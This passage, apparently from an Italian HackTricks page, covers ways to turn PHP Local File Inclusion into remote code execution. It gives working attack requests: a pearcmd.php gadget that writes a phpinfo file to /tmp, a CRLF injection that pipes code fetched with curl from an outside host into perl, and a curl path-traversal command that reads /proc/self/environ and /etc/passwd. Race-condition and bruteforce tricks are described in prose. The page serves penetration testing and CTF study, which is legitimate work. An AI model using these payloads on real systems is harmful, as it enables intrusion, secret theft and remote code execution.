The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Quanto segue sfrutta una vuln CRLF per ottenere RCE (da here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Via phpinfo() (file_uploads = on)
Se trovi una Local File Inclusion e un file che espone phpinfo() con file_uploads = on puoi ottenere RCE:
Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Se trovi una Local File Inclusion e puoi esfiltrare il path del file temporaneo MA il server sta controllando se il file da includere contiene tag PHP, puoi provare a eludere quel controllo con questa Race Condition:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Via eternal waiting + bruteforce
Se puoi abusare della LFI per caricare file temporanei e far sì che il server blocchi l’esecuzione PHP, puoi poi fare bruteforce sui nomi dei file per ore per trovare il file temporaneo:
A Fatal Error
Se includi uno qualsiasi dei file /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Devi includere lo stesso file 2 volte per generare quell’errore).
Non so quanto sia utile ma potrebbe esserlo.
Anche se causi un PHP Fatal Error, i file temporanei PHP caricati vengono cancellati.
.png)
Conservare le sequenze di traversal dal client
Alcuni client HTTP normalizzano o comprimono ../ prima che la richiesta raggiunga il server, rompendo i payload di directory traversal. Usa curl --path-as-is per mantenere il traversal intatto quando si abusa di log/download endpoint che concatenano un filename controllato dall’utente, e aggiungi --ignore-content-length per pseudo-file come /proc:
curl --path-as-is -b "session=$SESSION" \
"http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
--ignore-content-length -s | tr '\000' '\n'
Regola il numero di segmenti ../ finché non esci dalla directory prevista, poi dump /etc/passwd, /proc/self/cwd/app.py, o altri file sorgente/config.
Riferimenti
- PayloadsAllTheThings
- PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
- Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)
- Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5
- watchTowr – We need to talk about PHP (pearcmd.php gadget)
- Orange Tsai – Confusion Attacks on Apache
- VTENEXT 25.02 – a three-way path to RCE
- The Art of PHP: CTF‑born exploits and techniques
- When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
- Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?
- HTB: Imagery (admin log download traversal +
/proc/self/environread) - HTB: Gavel
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


